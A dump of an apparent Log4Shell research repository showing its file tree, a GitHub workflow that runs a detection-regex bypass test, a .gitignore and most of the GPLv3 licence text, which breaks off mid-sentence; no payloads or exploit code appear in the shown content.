├── .github └── workflows │ └── test-detection-regex-for-bypass.yml ├── .gitignore ├── LICENSE ├── README.md ├── analysis ├── 06-STUDIES │ └── 04-Log4Shell_Vulnerability.md └── _resources │ ├── 03825d83e194e1fd6ad9424365563164.png │ ├── 090b547c2ee9577d049d5f06a366a255.png │ ├── 0c073485244185cac60a1123157f26db.png │ ├── 0de487df59902062298285c682c8c49d.png │ ├── 12986762049ae62e076290dc632b7c93.png │ ├── 1306e199154435e85f333b8075499760.png │ ├── 1758c686ff3a220a523359384d125920.png │ ├── 177779480e61d8d50c8d29bc0713fc85.png │ ├── 182157e3c3a155bc42191d0396061479.png │ ├── 18bfb79d74a6b813785b82b55647192a.png │ ├── 1cb74c7fa340bca9961a758a91e1c59a.png │ ├── 1eb3f0dce6780f32a8bc8789b62d5bfa.png │ ├── 293347b0e4ebb96b5a32975ae4ecd323.png │ ├── 3100adc4e79b2ce1d375d99ee9be2bab.png │ ├── 313927e3ba8f8a4626b3f35880d5ae2f.png │ ├── 3c0e46923da3c81f6f2ae672178030c1.png │ ├── 424473a819335c8fb1e18ce048b4af06.png │ ├── 47b8e44f08dbdeb1fe643fae42ac3c2c.png │ ├── 4a7aba5e6f83ee9ada7b7717846717e8.png │ ├── 4a80de42803d382f0ffbf6ad5573cea3.png │ ├── 4de5250e68f96b02b3814994e8ba43df.png │ ├── 4ee4ba67f0c8bc519ecff2b7ec2860ce.png │ ├── 4f6331ce3e2fc85975b7578d724666e7.png │ ├── 518d2dbb1493aabfa352583aec24b324.png │ ├── 51ce94949b2ae7a6f6011a5a14e6ed39.png │ ├── 5268409280f31de07a7013e234f572ea.png │ ├── 52b903901e23eaaa20e242d4c6027351.png │ ├── 52f988156938f762866840a2d46ee5d7.png │ ├── 55b2ba138fb25f77a49f16a38f02456c.png │ ├── 55e511ab5ac499f13a17fe6bef094403.png │ ├── 5709dcfc4b1138c2f1d66b53607fa23b.png │ ├── 5c78afd9a5886e5c6bb649789f9c97c8.png │ ├── 6471540616f2b56f3692c78377d1cec1.png │ ├── 6f5cc1740684b40d24de1f53c2e8a3c2.png │ ├── 6fa251c292e09e04c1393746aad1060c.png │ ├── 70b4a3fd2f99f1d02481f2acf8813f90.png │ ├── 7cec2f3c5f772d1e0adda4da08246f83.png │ ├── 7d7b37f3c825c3483732a60be2cbca20.png │ ├── 7d9659e6cd22bcfedcf4cf852945cae8.png │ ├── 7f28be35d6aa4538a70b5461f74d3520.png │ ├── 7fa7a02c858f9967703de2a338f3c5c2.png │ ├── 804db11902e68e9baa9379414d5feb71.png │ ├── 82b95916d5692c64f8668e4adc79a7b2.png │ ├── 854d06de3aa3257384be6bb094ea492e.png │ ├── 8844536be52b20f086f6d0287c55f7ea.png │ ├── 8cc2027fbfd5b8fe770477fc99d94998.png │ ├── 93627fbbb3394b65e79b09d83b6df868.png │ ├── 956b6e4a081325eb02d67fb29722bce1.png │ ├── 9e65cb9876e62566315c7bca34151c61.png │ ├── 9f16f7df7f14f9091be31c8fdbbcbb27.png │ ├── 9fc205bf45e2b9616f7138da0653139d.png │ ├── a1de449a38ac139e7dfe75905cd0c04d.png │ ├── aa8cf0fc8f2d4d0d117b53689886d486.png │ ├── adbfbccf0c51fdc4ca4624730aa176e2.png │ ├── b02d8e797e7097bcf24e5fa2e28407e2.png │ ├── bca1d08014ebe058934ec05db8c4b851.png │ ├── be7dfc5206b50cb905251071df33c5d4.png │ ├── c356976510c54f5452b8c4be28361e44.png │ ├── c5a8d0c6efb9cf44b2f0f1c5a929937b.png │ ├── ca8aa1934de265d795e1501f66a383c7.png │ ├── ce2500904ac46adffbebb93521119a80.png │ ├── d5a0ff95685ddb90d706daa375ae882e.png │ ├── d90cdc0be28eb2de9b3d99027433b064.png │ ├── e6450a22f6c1cd29f11228946fe00599.png │ ├── e930cf4a7c9e3ddf29a853ad9a99fec3.png │ ├── f10ca4a1152363b71641fcf6400557a9.png │ ├── f2b86462af2261f96c3753b03558242c.png │ └── f7cb207ba192ba1c8b2a17f163b3ce21.png ├── payloads └── README.md ├── playground ├── BBlog4j - core - 2.14.1.jar ├── dom4j-1.1.jar ├── ear files │ └── HelloWorldApp.ear └── war files │ ├── Lab6A.war │ └── sample.war ├── sandbox ├── .idea │ ├── .gitignore │ ├── compiler.xml │ ├── dictionaries │ │ └── drighetto.xml │ ├── encodings.xml │ ├── jarRepositories.xml │ ├── libraries │ │ ├── Maven__junit_junit_4_12.xml │ │ ├── Maven__org_apache_logging_log4j_log4j_api_2_16_0.xml │ │ ├── Maven__org_apache_logging_log4j_log4j_core_2_16_0.xml │ │ └── Maven__org_hamcrest_hamcrest_core_1_3.xml │ ├── misc.xml │ ├── modules.xml │ ├── runConfigurations.xml │ ├── runConfigurations │ │ └── sandbox__clean_compile_.xml │ ├── uiDesigner.xml │ └── vcs.xml ├── all-versions.txt ├── data.txt ├── log4shell.iml ├── pom.xml ├── src │ ├── main │ │ ├── java │ │ │ └── eu │ │ │ │ └── righettod │ │ │ │ ├── Sandbox45105.java │ │ │ │ ├── SandboxJndi.java │ │ │ │ └── SandboxPrefixes.java │ │ └── resources │ │ │ ├── config.properties │ │ │ └── log4j2.xml │ └── test │ │ └── java │ │ ├── eu │ │ └── righettod │ │ │ ├── Log4ShellDOSExposureTest.java │ │ │ ├── Log4ShellExposureTest.java │ │ │ ├── Log4ShellExposureTestFormatMsgNoLookupsBypass.java │ │ │ └── Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.java │ │ └── internals │ │ └── DetectionRegexBypassTest.java ├── testDOSExposure.sh ├── testDefaultExposure.sh ├── testFormatMsgNoLookupsBypass.sh └── versions.txt ├── scripts ├── identify-log4j-class-location.sh ├── identify-tcm-expressions-usage.sh └── jd-cli.jar ├── toc-location.png ├── videos └── CVE-2021-44832_TestCfgAutoReload.mp4 └── workspace.code-workspace /.github/workflows/test-detection-regex-for-bypass.yml: -------------------------------------------------------------------------------- 1 | name: Test detection regex for bypass 2 | on: 3 | push: 4 | branches: [ main ] 5 | pull_request: 6 | branches: [ main ] 7 | jobs: 8 | build: 9 | runs-on: ubuntu-latest 10 | steps: 11 | - uses: actions/checkout@v2 12 | - name: Set up JDK 11 13 | uses: actions/setup-java@v2 14 | with: 15 | java-version: '11' 16 | distribution: 'adopt' 17 | cache: maven 18 | - name: Run dedicated test case 19 | run: mvn -D"test=DetectionRegexBypassTest" -B clean test --file sandbox/pom.xml 20 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | sandbox/target/ 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an 